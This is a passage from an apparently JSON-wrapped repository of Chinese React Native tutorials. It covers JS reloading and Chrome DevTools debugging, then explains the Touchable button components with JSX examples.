JavaScript\n\n在只是修改了js代码的情况下，如果要预览修改结果，你不需要重新编译你的应用。在这种情况下，你只需要告诉React Native重新加载js即可。  \n\n>提示：如果你修改了native 代码或修改了Images.xcassets、res/drawable中的文件，重新加载js是不行的，这时你需要重新编译你的项目了。 \n\n\n### Reload js\nReload js即将你项目中js代码部分重新生成bundle，然后传输给模拟器或手机。  \n在Developer Menu中有`Reload`选项，单击`Reload`让React Native重新加载js。对于iOS模拟器你也可以通过`Command⌘ + R `快捷键来加载js，对于Android模拟器可以通过双击`r`键来加载js。  \n>提示：如果`Command⌘ + R `无法使你的iOS模拟器加载js，则可以通过选中Hardware menu中Keyboard选项下的 \"Connect Hardware Keyboard\" 。\n\n### 小技巧：Automatic reloading\n\n#### Enable Live Reload\n![Enable Live Reload](https://raw.githubusercontent.com/crazycodeboy/RNStudyNotes/master/React%20Native调试技巧与心得/images/Enable%20Live%20Reload.gif)\n\nReact Native旨在为开发者带来一个更好的开发体验。如果你觉得上文的加载js代码方式太low了或者不够方便，那么有没有一种更简便加载js代码的方式呢？  \n答案是肯定的。    \n在 Developer Menu中你会看到\"Enable Live Reload\" 选项，该选项提供了React Native动态加载的功能。当你的js代码发生变化后，React Native会自动生成bundle然后传输到模拟器或手机上，是不是觉得很方便。    \n\n#### Hot Reloading \n![Hot Reloading](https://raw.githubusercontent.com/crazycodeboy/RNStudyNotes/master/React%20Native调试技巧与心得/images/%20Hot%20Reloading%20.gif)\n另外，Developer Menu中还有一项需要特别介绍的，就是\"Hot Reloading\"热加载，如果说Enable Live Reload解放了你的双手的话，那么Hot Reloading不但解放了你的双手而且还解放了你的时间。  当你每次保存代码时Hot Reloading功能便会生成此次修改代码的增量包，然后传输到手机或模拟器上以实现热加载。相比 Enable Live Reload需要每次都返回到启动页面，Enable Live Reload则会在保持你的程序状态的情况下，就可以将最新的代码部署到设备上，听起来是不是很疯狂呢。  \n\n>提示：当你做布局的时候启动Enable Live Reload功能你就可以实时的预览布局效果了，这可以和用AndroidStudio或AutoLayout做布局的实时预览相媲美。\n\n## Errors and Warnings \n\n在development模式下，js部分的Errors 和 Warnings会直接打印在手机或模拟器屏幕上，以红屏和黄屏展示。 \n\n### Errors  \n\nReact Native程序运行时出现的Errors会被直接显示在屏幕上，以红色的背景显示，并会打印出错误信息。  你也可以通过` console.error()`来手动触发Errors。\n\n![Errors](https://raw.githubusercontent.com/crazycodeboy/RNStudyNotes/master/React%20Native调试技巧与心得/images/Errors.png)\n\n### Warnings  \n \nReact Native程序运行时出现的Warnings也会被直接显示在屏幕上，以黄色的背景显示，并会打印出警告信息。  你也可以通过` console.warn()`来手动触发Warnings。\n你也可以通过`console.disableYellowBox = true`来手动禁用Warnings的显示，或者通过`console.ignoredYellowBox = ['Warning: ...'];`来忽略相应的Warning。  \n\n![Warnings](https://raw.githubusercontent.com/crazycodeboy/RNStudyNotes/master/React%20Native调试技巧与心得/images/Warnings.png)\n\n>提示：在生产环境release (production)下Errors和Warnings功能是不可用的。  \n\n\n## Chrome Developer Tools  \n\n### Chrome 开发工具  \n谷歌 Chrome 开发工具，是基于谷歌浏览器内含的一套网页制作和调试工具。开发者工具允许网页开发者深入浏览器和网页应用程序的内部。该工具可以有效地追踪布局问题，设置 JavaScript 断点并可深入理解代码的最优化策略。\nChrome 开发工具一共提供了8大组工具：\n\n* Element 面板： 用于查看和编辑当前页面中的 HTML 和 CSS 元素。\n* Network 面板：用于查看 HTTP 请求的详细信息，如请求头、响应头及返回内容等。\n* Source 面板：用于查看和调试当前页面所加载的脚本的源文件。\n* TimeLine 面板： 用于查看脚本的执行时间、页面元素渲染时间等信息。\n* Profiles 面板：用于查看 CPU 执行时间与内存占用等信息。\n* Resource 面板：用于查看当前页面所请求的资源文件，如 HTML，CSS 样式文件等。\n* Audits 面板：用于优化前端页面，加速网页加载速度等。\n* Console 面板：用于显示脚本中所输出的调试信息，或运行测试脚本等。\n\n>提示：对于调试React Native应用来说，Sources和Console是使用频率很高的两个工具。\n\n你可以像调试JavaScript代码一样来调试你的React Native程序。   \n\n### 如何通过 Chrome调试React Native程序  \n你可以通过以下步骤来调试你的React Native程序：  \n\n#### 第一步：启动远程调试   \n在Developer Menu下单击\"Debug JS Remotely\" 启动JS远程调试功能。此时Chrome会被打开，同时会创建一个“http://localhost:8081/debugger-ui.” Tab页。  \n![http-//localhost-8081/debugger-ui](https://raw.githubusercontent.com/crazycodeboy/RNStudyNotes/master/React%20Native调试技巧与心得/images/localhost-8081-debugger-ui.png)\n\n#### 第二步：打开Chrome开发者工具\n在该“http://localhost:8081/debugger-ui.”Tab页下打开开发者工具。打开Chrome菜单->选择更多工具->选择开发者工具。你也可以通过快捷键(Command⌘ + Option⌥ + I on Mac, Ctrl + Shift + I on Windows)打开开发者工具。\n\n![打开开发者工具](https://raw.githubusercontent.com/crazycodeboy/RNStudyNotes/master/React%20Native调试技巧与心得/images/dakaikaifazhegongju.png)\n\n打开Chrome开发着工具之后你会看到如下界面：  \n![打开Chrome开发着工具](https://raw.githubusercontent.com/crazycodeboy/RNStudyNotes/master/React%20Native调试技巧与心得/images/dakaiChromekaifazhuogongju.png)   \n\n### 真机调试  \n\n#### 在iOS上\n\n打开\"RCTWebSocketExecutor.m \"文件，将“localhost”改为你的电脑的ip，然后在Developer Menu下单击\"Debug JS Remotely\" 启动JS远程调试功能。\n\n#### 在Android上   \n方式一：   \n在Android5.0以上设备上，将手机通过usb连接到你的电脑，然后通过adb命令行工具运行如下命令来设置端口转发。   \n`adb reverse tcp:8081 tcp:8081`  \n\n方式二：  \n你也可以通过在“Developer Menu”下的“Dev Settings”中设置你的电脑ip来进行调试。  \n\n>心得：在使用真机调试时，你需要确保你的手机和电脑处在同一个网段内，即它们实在同一个路由器下。\n\n### 小技巧：\n-----\n#### 巧用Sources面板\n\nSources 面板提供了调试 JavaScript 代码的功能。它提供了图形化的V8 调试器。\n![Sources面板](https://raw.githubusercontent.com/crazycodeboy/RNStudyNotes/master/React%20Native调试技巧与心得/images/Sourcesmianban.jpg)\n\nSources 面板可以让你看到你所要检查的页面的所有脚本代码，并在面板选择栏下方提供了一组标准控件，提供了暂停，恢复，步进等功能。在窗口的最下方的按钮可以在遇到异常(exception)时强制暂停。源码显示在单独的标签页，通过点击  打开文件导航面板，导航栏中会显示所有已打开的脚本文件。\n\n>心得：Chrome开发着工具中的Sources面板几乎是我最常用的功能面板。通常只要是开发遇到了js报错或者其他代码问题，在审视一遍自己的代码而一无所获之后，我首先就会打开Sources进行js断点调试。  \n\n#### 执行控工具  \n从上图可以看到“执行控工具”按钮在侧板顶部，让你可以按步执行代码，当你进行调试的时候这几个按钮非常有用：  \n\n* 继续(Continue): 继续执行代码直到遇到下一个断点。\n* 单步执行(Step over): 步进代码以查看每一行代码对变量作出的操作，当代码调用另一个函数时不会进入这个函数，使你可以专注于当前的函数。\n* 跳入(Step into): 与 Step over 类似，但是当代码调用函数时，调试器会进去这个函数并跳转到函数的第一行。\n* 跳出(Step out): 当你进入一个函数后，你可以点击 Step out 执行函数余下的代码并跳出该函数。\n* 断点切换(Toggle breakpoints): 控制断点的开启和关闭，同时保持断点完好。\n\n\n#### 查看js文件    \n如果你想在开发者工具上预览你的js文件，可以在打开Sources tab下的debuggerWorker.js选项卡，该选项卡下会显示当前调试项目的所有js文件。 \n  \n![查看js文件](https://raw.githubusercontent.com/crazycodeboy/RNStudyNotes/master/React%20Native调试技巧与心得/images/chakanjswenjian.png)  \n\n#### 断点其实很简单   \n\n断点(Breakpoint) 是在脚本中设置好的暂停处。在DevTools中使用断点可以调试JavaScript代码，DOM更新和 network calls。\n\n>心得：你可以像使用Xcode/AndroidStudio调试Native应用一样，来使用Chrome开发者工具通过断点对程序进行调试。 \n \n#### 添加和移除断点\n\n在 Sources 面板的文件导航面板中打开一个JavaScript文件来调试，点击边栏(line gutter) 为当前行设置一个断点，已经设置的断点处会有一个蓝色的标签，单击蓝色标签，断点即被移除。  \n\n![添加移除断点](https://raw.githubusercontent.com/crazycodeboy/RNStudyNotes/master/React%20Native调试技巧与心得/images/tianjiayichuduandian.png)\n\n>心得：右键点击蓝色标签会打开一个菜单，菜单包含以下选项：执行到此(Continue to Here)，黑盒脚本(Blackbox scripts)，移除断点(Remove Breakpoint)， 编辑断点(Edit Breakpoint)，和 禁用断点(Disable Breakpoint)。在这里你可以对断点进行更高级的定制化的操作。![右键蓝色图标](https://raw.githubusercontent.com/crazycodeboy/RNStudyNotes/master/React%20Native调试技巧与心得/images/youjianlansetubiao.png)\n\n#### 高级操作  \n上文讲到右键点击蓝色标签会打开一个菜单，下面就介绍一下该菜单下的高级操作。  \n\n**执行到此(Continue to Here)：**\n\n如果你想让程序立即跳到某一行时，这个功能会帮到你。如果在该行之前还有别的断点，程序会依次经过前面的断点。另外需要提出的是这个功能在任意一行代码的边栏(gutter line)前单击右键都会看到。  \n\n**黑盒脚本(Blackbox scripts)：**\n\n黑盒脚本会从你的调用堆栈中隐藏第三方代码。\n\n**编辑断点(Edit Breakpoint)：**\n\n通过该功能你可以创建一个条件断点，你也可以在边栏(gutter line) 右键并选择添加条件断点(Add Conditional Breakpoint) 。在输入框中，输入一个可解析为真或假的表达式。仅当条件为真时，执行会在此暂停。   \n![条件断点](https://raw.githubusercontent.com/crazycodeboy/RNStudyNotes/master/React%20Native调试技巧与心得/images/tianjiayichuduandian.png)\n\n>心得：如果你想让程序在某处从来都不要暂停，可以编辑一个条件永远为false的条件断点。另外，你也可以在该行代码的边栏(gutter line)前单击右键选择“Never pause here”即可，你会发现“Never pause here”其实就是在该行代码上设了一个永远为false的条件断点。![Never pause here](https://raw.githubusercontent.com/crazycodeboy/RNStudyNotes/master/React%20Native调试技巧与心得/images/Never%20pause%20here.png)  \n\n\n\n#### 管理你的断点  \n你可以通过Chrome开发者工具的右边面板来统一管理你的断点。  \n\n![管理断点](https://raw.githubusercontent.com/crazycodeboy/RNStudyNotes/master/React%20Native调试技巧与心得/images/guanliduandian.png)\n\n>心得：你可以通过断点前的复选框来启用和禁用断点，也可以单击右键来进行更多的操作(如：移除断点，移除所有断点，启用禁用断点等)。  \n\n\n#### 有一种断点叫全局断点\n全局断点的作用是，当程序出现异常时，会在异常的地方暂停，这对快速定位异的常位置很方便。  \n做iOS开发的同学都知道在Xcode中可以设置全局断点，其实在Chrome 开发者工具中也同样有与之对应的功能，叫“Pause On Caught Exceptions”。如果勾选上此功能，则即使所发生运行时异常的代码在 try/catch 范围内，Chrome 开发者工具也能够在错误代码处停住。   \n![全局断点](https://raw.githubusercontent.com/crazycodeboy/RNStudyNotes/master/React%20Native调试技巧与心得/images/quanjuduandian.png)\n\n\n#### 不要忽略控制台\nDevTools 控制台(Console) 可以让你在目前已暂停的状态下进行试验。按 Esc 键打开/关闭控制台。\n\n![Console](https://raw.githubusercontent.com/crazycodeboy/RNStudyNotes/master/React%20Native调试技巧与心得/images/Console.png)  \n\n>心得：你可以在控制台(Console)上打印变量，执行脚本等操作。在开发调试中非常有用。    \n\n\nChrome Developer Tools 快捷键\n-----\n　\n> ###快速切换文件\n\n当DevTools被打开的时候，按Ctrl+P或O（cmd+p或o on mac）,就能快速搜寻和打开你项目的文件。  \n\n![快速切换文件](https://raw.githubusercontent.com/crazycodeboy/RNStudyNotes/master/React%20Native%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A7%E4%B8%8E%E5%BF%83%E5%BE%97/images/%E5%BF%AB%E9%80%9F%E5%88%87%E6%8D%A2%E6%96%87%E4%BB%B6.GIF)\n\n>### 在当前文件中查找内容\n在当前文件中查找内容可通过Ctrl(cmd) + F快捷键。 　　\n\n![在当前文件中查找内容](https://raw.githubusercontent.com/crazycodeboy/RNStudyNotes/master/React%20Native%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A7%E4%B8%8E%E5%BF%83%E5%BE%97/images/%E5%9C%A8%E5%BD%93%E5%89%8D%E6%96%87%E4%BB%B6%E4%B8%AD%E6%9F%A5%E6%89%BE%E5%86%85%E5%AE%B9.png)　　\n　　\n> ###在所有文件中查找内容\n\n如果你希望在在所有文件中查找内容怎么办呢？在页面已经加载的文件中搜寻一个特定的字符串，快捷键是Ctrl + Shift + F (Cmd + Opt + F)，这种搜寻方式还支持正则表达式。　\n\n![在源代码中搜索](https://raw.githubusercontent.com/crazycodeboy/RNStudyNotes/master/React%20Native%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A7%E4%B8%8E%E5%BF%83%E5%BE%97/images/%E5%9C%A8%E6%BA%90%E4%BB%A3%E7%A0%81%E4%B8%AD%E6%90%9C%E7%B4%A2.GIF)　\n\n> ###快速跳转到指定行\n\n在Sources标签中打开一个文件之后，按Ctrl + G，然后输入行号，DevTools就会允许你跳转到文件中的任意一行。\n\n![快速跳转到指定行](https://raw.githubusercontent.com/crazycodeboy/RNStudyNotes/master/React%20Native%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A7%E4%B8%8E%E5%BF%83%E5%BE%97/images/%E5%BF%AB%E9%80%9F%E8%B7%B3%E8%BD%AC%E5%88%B0%E6%8C%87%E5%AE%9A%E8%A1%8C.GIF)　\n\n>心得：如果你在“快速切换文件”输入框中输入“:”然后加行号也能跳转到指定行。  \n\n\n \n\n## 参考  \n[chrome-devtools](https://developers.google.com/web/tools/chrome-devtools/)  \n[CN-Chrome-DevTools](https://github.com/CN-Chrome-DevTools)  \n[Debugging](http://facebook.github.io/react-native/docs/debugging.html)\n\n## About\n本文出自[《React Native学习笔记》](https://github.com/crazycodeboy/RNStudyNotes/)系列文章。    \n了解更多，可以[关注我的GitHub](https://github.com/crazycodeboy/)   \n@[https://crazycodeboy.github.io/](https://crazycodeboy.github.io/)  \n\n推荐阅读\n----\n* [React Native 学习笔记](https://github.com/crazycodeboy/RNStudyNotes)   \n* [Reac Native布局详细指南](https://github.com/crazycodeboy/RNStudyNotes/tree/master/React Native布局/React Native布局详细指南/React Native布局详细指南.md)   \n*  [React Native发布APP之签名打包APK](https://github.com/crazycodeboy/RNStudyNotes/tree/master/React%20Native%E5%8F%91%E5%B8%83APP%E4%B9%8B%E7%AD%BE%E5%90%8D%E6%89%93%E5%8C%85APK)    \n*  [React Native应用部署、热更新-CodePush最新集成总结](https://github.com/crazycodeboy/RNStudyNotes/tree/master/React%20Native%E5%BA%94%E7%94%A8%E9%83%A8%E7%BD%B2%E3%80%81%E7%83%AD%E6%9B%B4%E6%96%B0-CodePush%E6%9C%80%E6%96%B0%E9%9B%86%E6%88%90%E6%80%BB%E7%BB%93)\n"
  },
  {
    "path": "docs/android/AndroidNote/ReactNative相关/Touchable系列组建讲解.md",
    "content": "\n> 声明，本文并非原创，本文属于优质好文，故转载了，[原文链接](https://github.com/crazycodeboy/RNStudyNotes/blob/master/React%20Native%E7%BB%84%E4%BB%B6%E8%AF%A6%E8%A7%A3/React%20Native%E6%8C%89%E9%92%AE%E8%AF%A6%E8%A7%A3%7CTouchable%E7%B3%BB%E5%88%97%E7%BB%84%E4%BB%B6%E4%BD%BF%E7%94%A8%E8%AF%A6%E8%A7%A3.md)\n\n本文出自[《React Native学习笔记》](https://github.com/crazycodeboy/RNStudyNotes/)系列文章。\n\n在做App开发过程中离不了的需要用户交互，说到交互，我们首先会想到的就是按钮了，在React Native中没有专门的按钮组件。\n为了能让视图能够响应用的的点击事件，我们需要借助Touchablexxx组件，来包裹我们的视图。为什么说是Touchablexxx呢，因为它不只是一个组件，而是一组组件，一下四个组件都可以用来包裹视图来响应用户的点击事件。\n\n- TouchableWithoutFeedback：响应用户的点击事件，如果你想在处理点击事件的同时不显示任何视觉反馈，使用它是个不错的选择。\n- TouchableHighlight：在TouchableWithoutFeedback的基础上添加了当按下时背景会变暗的效果。\n- TouchableOpacity：相比TouchableHighlight在按下去会使背景变暗的效果，TouchableOpacity会在用户手指按下时降低按钮的透明度，而不会改变背景的颜色。\n- TouchableNativeFeedback：在Android上还可以使用TouchableNativeFeedback，它会在用户手指按下时形成类似水波纹的视觉效果。注意，此组件只支持Android。\n\n>心得：以上四个组件，其中TouchableHighlight、TouchableOpacity以及TouchableNativeFeedback都是在TouchableWithoutFeedback的基础上做了一些扩展，我们从它们的源码中可以看出：\n\n\n**TouchableHighlight：**  \n\n```\nvar TouchableHighlight = React.createClass({\n  propTypes: {\n    ...TouchableWithoutFeedback.propTypes,\n```\n\n**TouchableOpacity：**\n\n```\nvar TouchableOpacity = React.createClass({\n  mixins: [TimerMixin, Touchable.Mixin, NativeMethodsMixin],\n\n  propTypes: {\n    ...TouchableWithoutFeedback.propTypes,\n```\n\n**TouchableNativeFeedback:**\n\n```\nvar TouchableNativeFeedback = React.createClass({\n  propTypes: {\n    ...TouchableWithoutFeedback.propTypes,\n```\n\n>因为TouchableWithoutFeedback有其它三个组件的共同属性，所以我们先来学习一下TouchableWithoutFeedback。\n\n## TouchableWithoutFeedback使用详解\n\nTouchableWithoutFeedback一个Touchable系列组件中最基本的一个组价，只响应用户的点击事件不会做任何UI上的改变，在使用的过程中需要特别留意。\n\n>提示：无论是TouchableWithoutFeedback还是其他三种Touchable组件，都是在根节点都是只支持一个组件，如果你需要多个组件同时相应单击事件，可以用一个View将它们包裹着，它的这种根节点只支持一个组件的特性和ScrollView很类似。\n\n接下来让我们来看一下，TouchableWithoutFeedback有哪些常用的属性：\n\n### TouchableWithoutFeedback常用的属性\n\n说到常用的属性TouchableWithoutFeedback首先要提到的就是`onPress`了。\n\n#### `onPress function`\n\n当触摸操作结束时调用，但如果被取消了则不调用（譬如响应者被一个滚动操作取代）。\n>心得：`onPress`可谓是Touchable系列组件的最常用的属性之一了，如果你要让视图响应用户的单击事件，那么用`onPress`就可以了。\n\n接下来呢，我们就来使用`onPress`属性来实现一个统计按钮单击次数的例子。\n\n```js\n<TouchableWithoutFeedback\n    onPress={()=> {\n        this.setState({count: this.state.count+1})\n    }}\n>\n    <View style={styles.button}>\n        <Text style={styles.buttonText}>\n            我是TouchableWithoutFeedback,单击我\n        </Text>\n    </View>\n</TouchableWithoutFeedback>\n<Text style={styles.text}>您单击了:{this.state.count}次</Text>\n```\n[下载源码](https://github.com/crazycodeboy/RNStudyNotes/tree/master/Demo)\n\n![TouchableWithoutFeedback_onPress](https://raw.githubusercontent.com/crazycodeboy/Resources-Blog/master/images/2017/1/React%20Native%E6%8C%89%E9%92%AE%E8%AF%A6%E8%A7%A3%7CTouchable%E7%B3%BB%E5%88%97%E7%BB%84%E4%BB%B6%E4%BD%BF%E7%94%A8%E8%AF%A6%E8%A7%A3/TouchableWithoutFeedback_onPress.gif)\n\n#### `onLongPress function`\n\n当用户长时间按压组件(长按效果)的时候调用该方法。\n>心得：`onLongPress`也是Touchable系列组件的最常用的属性之一，通常用于响应长按的事件，如长按列表弹出删除对话框等。\n\n接下来呢，我们就来使用`onLongPress`属性来响应用户的长按事件。\n\n```js\n<TouchableWithoutFeedback\n    onPress={()=> {\n        this.setState({count: this.state.count + 1})\n    }}\n    onLongPress={()=> {\n        this.setState({countLong: this.state.countLong + 1})\n        Alert.alert(\n            '提示',\n            '确定要删除吗?',\n            [\n                {text: '取消', onPress: () => console.log('Cancel Pressed'), style: 'cancel'},\n                {text: '确实', onPress: () => console.log('OK Pressed')},\n            ]\n        )\n    }}\n>\n    <View style={styles.button}>\n        <Text style={styles.buttonText}>\n            我是TouchableWithoutFeedback,单击我\n        </Text>\n    </View>\n</TouchableWithoutFeedback>\n<Text style={styles.text}>您单击了:{this.state.count}次</Text>\n<Text style={styles.text}>您长按了:{this.state.countLong}次</Text>\n```\n[下载源码](https://github.com/crazycodeboy/RNStudyNotes/tree/master/Demo)\n\n![TouchableWithoutFeedback_onLongPress](https://raw.githubusercontent.com/crazycodeboy/Resources-Blog/master/images/2017/1/React%20Native%E6%8C%89%E9%92%AE%E8%AF%A6%E8%A7%A3%7CTouchable%E7%B3%BB%E5%88%97%E7%BB%84%E4%BB%B6%E4%BD%BF%E7%94%A8%E8%AF%A6%E8%A7%A3/TouchableWithoutFeedback_onLongPress.gif)\n\n我们在上面例子的基础上为Touchable设置了`onLongPress`属性，当用户长时间按压按钮是会弹出一个对话框。\n\n>心得：当我们没有对Touchable组件设置`onLongPress`属性而设置了`onPress`属性的时候，我们长按按钮之后会回调`onPress`方法。另外，我们也可以通过`delayLongPress `方法来这设置从`onPressIn`被回调开始，到`onLongPress`被调用的延迟。\n\n#### `disabled bool`\n\n如果设为true，则禁止此组件的一切交互。\n>心得：`disabled`也是Touchable系列组件的最常用的属性之一，通常用于禁止按钮相应用户的点击事件，比如，当用户单击按钮进行登录时，需要进行网络请求，在请求操作完成之前如果用户多次单击登录按钮我们通常不希望发起多次登录请求，这个时候就可以借助`disabled`的属性来禁用按钮的交互。\n\n接下来呢，我们就来模拟用户登录的例子来介绍一下`disabled`的使用。\n\n```js\n<TouchableWithoutFeedback\n    disabled={this.state.waiting}\n    onPress={()=> {\n        this.setState({text:'正在登录...',waiting:true})\n        setTimeout(()=>{\n            this.setState({text:'网络不流畅',waiting:false})\n        },2000);\n\n    }}\n>\n    <View style={styles.button}>\n        <Text style={styles.buttonText}>\n           登录\n        </Text>\n    </View>\n</TouchableWithoutFeedback>\n<Text style={styles.text}>{this.state.text}</Text>\n```\n[下载源码](https://github.com/crazycodeboy/RNStudyNotes/tree/master/Demo)\n\n![TouchableWithoutFeedback_disabled](https://raw.githubusercontent.com/crazycodeboy/Resources-Blog/master/images/2017/1/React%20Native%E6%8C%89%E9%92%AE%E8%AF%A6%E8%A7%A3%7CTouchable%E7%B3%BB%E5%88%97%E7%BB%84%E4%BB%B6%E4%BD%BF%E7%94%A8%E8%AF%A6%E8%A7%A3/TouchableWithoutFeedback_disabled.gif)\n\n在上面例子中我们模拟了用户登录的效果，默认状态下按钮是可以响应用户点击事件的，在正在登录过程中我们通过`disabled`属性来禁用了按钮，这时无论是单击还是长按按钮都是没有任何响应的，在停隔2s后，我们又将按钮解除禁用，这时按钮又可以重新响应用户的点击事件了。\n当用户长时间按压按钮时会弹出一个对话框。\n\n>心得：有朋友问我，想禁用按钮，但是通过设置Touchable的`accessible `属性为false没有效果，这也是因为即使`accessible`为false的情况下，Touchable组件还是可以响应交互事件的，要想禁用Touchable的交互事件，只能通过`disabled`属性。\n\n#### onPressIn function与onPressOut function\n\n这两个方法分别是当用户开始点击按钮时与点击结束后被回调。\n\n通过这两个方法我们可以计算出用户单击按钮所用的时长， 另外也可以做一些其它个性化的功能。现在我们将通过一个例子来计算出用户点击按钮所用的时长。\n\n```js\n<TouchableWithoutFeedback\n    onPressIn={()=> {\n        this.setState({text:'触摸开始',startTime:new Date().getTime()})\n    }}\n    onPressOut={()=>{\n        this.setState({text:'触摸结束,持续时间:'+(new Date().getTime()-this.state.startTime)+'毫秒'})\n    }}\n>\n    <View style={styles.button}>\n        <Text style={styles.buttonText}>\n            点我\n        </Text>\n    </View>\n</TouchableWithoutFeedback>\n<Text style={styles.text}>{this.state.text}</Text>\n```\n[下载源码](https://github.com/crazycodeboy/RNStudyNotes/tree/master/Demo)\n\n![TouchableWithoutFeedback Pressin_out](https://raw.githubusercontent.com/crazycodeboy/Resources-Blog/master/images/2017/1/React%20Native%E6%8C%89%E9%92%AE%E8%AF%A6%E8%A7%A3%7CTouchable%E7%B3%BB%E5%88%97%E7%BB%84%E4%BB%B6%E4%BD%BF%E7%94%A8%E8%AF%A6%E8%A7%A3/TouchableWithoutFeedback%20Pressin_out.gif)\n\n在上述例子中我们记录下用户单击按钮的时间戳，当单击结束后我们获取当前时间减去刚单击时的时间，它们的差值就是用户单击按钮所用的时间了。\n\n>心得：另外我们也可以通过`delayPressIn`与`delayPressOut`两个方法来分别设置，从用户点击按钮到`onPressIn `被回调的延时与从点击结束到`onPressOut `被回调时的延时。\n\n## TouchableHighlight使用详解  \n`TouchableHighlight `是Touchable系列组件中比较常用的一个，它是在`TouchableWithoutFeedback `的基础上添加了一些UI上的扩展，既当手指按下的时候，该视图的不透明度会降低，同时会看到相应的颜色(视图变暗或者变亮)，从`TouchableHighlight `的源码中我们可以看出，其实这个颜色就是在`TouchableHighlight `的最外层个添加了一个View，通过改变这个View的背景色及透明度来达到这一效果。\n\n```js\n  render: function() {\n    return (\n      <View\n        accessible={this.props.accessible !== false}\n        accessibilityLabel={this.props.accessibilityLabel}\n        accessibilityComponentType={this.props.accessibilityComponentType}\n        accessibilityTraits={this.props.accessibilityTraits}\n        ref={UNDERLAY_REF}\n        style={this.state.underlayStyle}\n        onLayout={this.props.onLayout}\n        hitSlop={this.props.hitSlop}\n        onStartShouldSetResponder={this.touchableHandleStartShouldSetResponder}\n        onResponderTerminationRequest={this.touchableHandleResponderTerminationRequest}\n        onResponderGrant={this.touchableHandleResponderGrant}\n        onResponderMove={this.touchableHandleResponderMove}\n        onResponderRelease={this.touchableHandleResponderRelease}\n        onResponderTerminate={this.touchableHandleResponderTerminate}\n        testID={this.props.testID}>\n        {React.cloneElement(\n          React.Children.only(this.props.children),\n          {\n            ref: CHILD_REF,\n          }\n        )}\n        {Touchable.renderDebugView({color: 'green', hitSlop: this.props.hitSlop})}\n      </View>\n    );\n  }\n```\n\n### TouchableHighlight所扩展出来的属性\n\n#### activeOpacity number \n我们可以通过activeOpacity来设置`TouchableHighlight `被按下时的不透明度，从`TouchableHighlight `的源码中可以看出，它的默认不透明度为0.85，我们可以根据需要进行调节。\n\n```js\nvar DEFAULT_PROPS = {\n  activeOpacity: 0.85,\n  underlayColor: 'black',\n};\n```\n\n#### underlayColor color \n我们可以通过`underlayColor `属性来设置`TouchableHighlight `被按下去的颜色，默认状态下为`balck`黑色。\n\n#### onHideUnderlay function \n当衬底(也就是上文讲到的最外层的View)被隐藏的时候调用。\n\n>心得，通常情况下，当手指结束点击时衬底会被隐藏。\n\n#### onShowUnderlay function \n当衬底(也就是上文讲到的最外层的View)显示的时候调用。\n\n>心得，通常情况下，当手指刚开始点击时衬底会显示。\n\n#### style View#style\n因为`TouchableHighlight `的最外层个添加了一个View，所以我们可以设置这个View的样式来做出一个形形色色的按钮。\n\n接下来，我们通过一个例子来看一下这些属性的使用。\n\n```js\n<TouchableHighlight\n    style={{marginTop:20}}\n    activeOpacity={0.7}\n    underlayColor='green'\n    onHideUnderlay={()=>{\n        this.setState({text:'衬底被隐藏'})\n    }}\n    onShowUnderlay={()=>{\n        this.setState({text:'衬底显示'})\n    }}\n    onPress={()=>{\n\n    }}\n>\n    <View style={styles.button}>\n        <Text style={styles.buttonText}>\n            TouchableHighlight\n        </Text>\n    </View>\n</TouchableHighlight>\n<Text style={styles.text}>{this.state.text}</Text>\n```\n[下载源码](https://github.com/crazycodeboy/RNStudyNotes/tree/master/Demo)\n\n![TouchableHighlight](https://raw.githubusercontent.com/crazycodeboy/Resources-Blog/master/images/2017/1/React%20Native%E6%8C%89%E9%92%AE%E8%AF%A6%E8%A7%A3%7CTouchable%E7%B3%BB%E5%88%97%E7%BB%84%E4%BB%B6%E4%BD%BF%E7%94%A8%E8%AF%A6%E8%A7%A3/TouchableHighlight.gif)\n\n\n## TouchableOpacity使用详解\n \n`TouchableOpacity`也是Touchable系列组件中比较常用的一个，它是在`TouchableWithoutFeedback`的基础上添加了一些UI上的扩展，但这些扩展相比`TouchableHighlight `少了一个额外的颜色变化。它是通过在按下去改变视图的不透明度来表示按钮被点击的。\n\n### TouchableOpacity所扩展出来的属性\n\n在扩展属性方面`TouchableOpacity`相比`TouchableHighlight`，就少了很多，只有一个`activeOpacity`，来设置按下去的透明度。\n\n#### activeOpacity number \n同，`TouchableHighlight `的[activeOpacity](#activeOpacity)。\n\n另外我们也可以通过`TouchableOpacity`的`setOpacityTo(value, duration)`方法来动态修改`TouchableOpacity`被按下去的不透明度。\n\n\n## TouchableNativeFeedback使用详解\n为了支持Android5.0新增的触控反馈，React Native加入了`TouchableNativeFeedback `组件，`TouchableNativeFeedback `在`TouchableWithoutFeedback `所支持的属性的基础上增加了按下去的水波纹效果。我们可以通过`background `属性来自定义原生触摸操作反馈的背景。\n\n### TouchableNativeFeedback所扩展出来的属性\n\n#### background backgroundPropType \n\n决定在触摸反馈的时候显示什么类型的背景。它接受一个有着type属性和一些基于type属性的额外数据的对象。推荐使用以下的静态方法之一来创建这个对象：\n\n1) TouchableNativeFeedback.SelectableBackground() - 会创建一个对象，表示安卓主题默认的对于被选中对象的背景。(?android:attr/selectableItemBackground)\n\n2) TouchableNativeFeedback.SelectableBackgroundBorderless() - 会创建一个对象，表示安卓主题默认的对于被选中的无边框对象的背景。(?android:attr/selectableItemBackgroundBorderless)。只在Android API level 21+适用。\n\n3) TouchableNativeFeedback.Ripple(color, borderless) - 会创建一个对象，当按钮被按下时产生一个涟漪状的背景，你可以通过color参数来指定颜色，如果参数borderless是true，那么涟漪还会渲染到视图的范围之外。（参见原生的actionbar buttons作为该效果的一个例子）。这个背景类型只在Android API level 21+适用也就是Android5.0或以上设备。\n\n```js\n<TouchableNativeFeedback\n    onPress={()=>{\n        this.setState({count: this.state.count + 1})\n    }}\n    background={TouchableNativeFeedback.SelectableBackground()}>\n    <View style={{width: 150, height: 100, backgroundColor: 'red'}}>\n        <Text style={{margin: 30}}>TouchableNativeFeedback</Text>\n    </View>\n</TouchableNativeFeedback>\n<Text 